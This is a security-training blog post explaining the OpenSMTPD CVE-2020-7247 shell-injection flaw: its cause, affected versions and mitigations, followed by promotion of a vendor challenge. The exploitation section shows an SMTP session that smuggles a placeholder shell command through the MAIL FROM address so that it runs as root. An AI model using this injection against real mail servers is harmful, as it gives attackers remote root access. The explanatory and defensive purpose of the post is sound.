Cybersecurity Training Module: Privileged Remote Code Execution

by Alexa Bleecker

Introduction

OpenSMTPD is the mail transfer agent (e-mail server) of the OpenBSD operating system and is also available as a ‘portable’ version for other UNIX systems, such as GNU/Linux.

OpenBSD is known for having a strong focus on security; consequently, serious vulnerabilities in OpenBSD are rare. There have only been two remote exploits discovered in the default install since 1997.

The recent CVE-2020-7247 vulnerability in OpenSMTPD, announced on the 29th of January 2020, nearly added a third item to the list.

RangeForce has created a new security challenge focusing on Privileged Remote Code Execution in OpenSMTPD called “SOC Challenge – OpenSMTPD.” In this challenge you will learn how this shell injection vulnerability works and how to exploit it to run commands on the server.

Functionality

As a mail transfer agent (MTA), OpenSMTPD can perform the following functions:

Accept e-mail from local processes for delivery to a local address (e.g. notifying the system administrator when a cron job failed) and save that e-mail to the relevant user’s inbox.
Accept e-mail from local processes for delivery to a remote address (e.g. a web application sending a password reset e-mail) and pass it on to that address’s e-mail server.
Accept e-mail over the internet for delivery to a local address (e.g. someone else sending an e-mail to a user of this system) and save that e-mail to the relevant user’s inbox.
Accept e-mail over the internet from authenticated users for delivery to a remote address (e.g. a logged-in user sending e-mail from an e-mail client on a mobile phone) and pass it on to that address’s e-mail server.

The default OpenBSD configuration only allows the first two use cases and does not accept remote connections. This ‘secure by default’ stock configuration is what managed to limit this to a serious, but local vulnerability. If the server configuration is changed to allow receiving mail from other systems the vulnerability can be exploited to allow for full remote root access.

Vulnerability

The vulnerability is caused by improper validation of the e-mail sender address.
When receiving e-mail for local users, the OpenSMTPD server calls an external process to save it to the user’s inbox; this simplifies supporting different file formats for the inbox as well as allows users to create custom rules for processing the e-mails they receive.

The sender address is included in the command line when the mailbox delivery program is called; if the sender address includes shell meta-characters these will be interpreted by the shell, allowing the execution of commands on the server.

Exploitation

Before showing how the vulnerability is exploited, here is an example of a normal, non-malicious e-mail being transferred:

SENDER> [connects to server on port 25]
SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD
SENDER> HELO friendly-sender.org
SERVER> 250 vulnerable-server.net Hello friendly-sender.org, pleased to meet you
SENDER> MAIL FROM:<alice@friendly-sender.org>
SERVER> 250 2.0.0 Ok
SENDER> RCPT TO:<bob@vulnerable-server.net>
SERVER> 250 2.1.5 Destination address valid: Recipient ok
SENDER> DATA
SERVER> 354 Enter mail, end with "." on a line by itself
SENDER> Subject: Hello
SENDER> 
SENDER> Lorem ipsum dolor sit amet
SENDER> .
SERVER> 250 2.0.0 Message accepted for delivery

Once the message is

accepted for delivery

the server runs the command:

/usr/libexec/mail.local alice@friendly-sender.org bob

and passes the content of the mail on the standard input.

The mail.local program then saves the e-mail to Bob’s inbox file.
To exploit the vulnerability, a hacker can include shell meta-characters (such as ;, which terminates one command and starts another) in the sender address:

HACKER> [connects to server on port 25]
SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD
HACKER> HELO evil-hacker.com
SERVER> 250 vulnerable-server.net Hello evil-hacker.com, pleased to meet you
HACKER> MAIL FROM:<; killall puppies ; echo >
SERVER> 250 2.0.0 Ok
HACKER> RCPT TO:
SERVER> 250 2.1.5 Destination address valid: Recipient ok
HACKER> DATA
SERVER> 354 Enter mail, end with "." on a line by itself
HACKER> Subject: Kill all puppies!
HACKER> 
HACKER> Lorem ipsum dolor sit amet
HACKER> .
SERVER> 250 2.0.0 Message accepted for delivery

Once the message is accepted for delivery, the server runs the command

/usr/libexec/mail.local ; killall puppies ; echo @vulnerable-server.net root

The @vulnerable-server.net is added because the address validation mistakenly assumes that the e-mail has come from a local process on the same server. The shell interprets this as:

/usr/libexec/mail.local
killall puppies
echo @vulnerable-server.net root

This allows the hacker to run

killall puppies

as root on the vulnerable server.

Vulnerable Versions

The vulnerability was added in OpenSMTPD version 6.4.0, when the architecture for local mail delivery was refactored, and removed in version 6.6.2 by fixing the address validation function. Most “stable” GNU/Linux distributions (e.g. Ubuntu, Debian, Red Hat) were still using version 6.0.3, from before the vulnerability was added, and were therefore not affected.

Mitigation

The simplest fix is to upgrade to the latest version of OpenSMTPD (6.6.4 at the time of writing).
There are also some possible mitigations which could have prevented or at least reduced the impact of the vulnerability:

Run the OpenSMTPD server inside a container, jail, virtual machine or other system which restricts its ability to interfere with other services.
Reduce the privileges of the OpenSMTPD process. (This has only limited potential as OpenSMTPD needs to bind to privileged ports and also needs to be able to run processes as other users to deliver mail.)
Configure OpenSMTPD to save messages in a maildir in the user’s home directory instead of in an mbox file in
```
/var/spool/mail/
```
and to redirect root’s mail to a less-privileged user. This will mean that the mail delivery process never has to run as root.

Conclusion

The cause of this vulnerability was a lack of validation of untrusted input. This condition enables attackers to run arbitrary commands to allow for unrestricted access. This is a common occurrence and this vulnerability is pervasive even today, due to oversights in the programmatic process. By completing RangeForce’s SOC Challenge – OpenSMTPD training you will learn about this vulnerability, how to exploit it, and how to protect your systems from it. RangeForce provides for coverage of this commonly seen vulnerability with specific modules of instruction on real systems, teaching users to how to locate and remediate this and other conditions including:

Command Injection via lack of validation of input (PHP and NodeJS)
Path Traversal (PHP and Node JS)
Traditional and Blind SQL Injection
Other OWASP Top 10 Vulnerability Areas

Try out this new challenge module on the latest OpenSMTPD vulnerability. The advanced simulation challenges the learner to investigate an OpenSMTPD server and discover any vulnerabilities. Request a consultation to see the training modules in action.

Links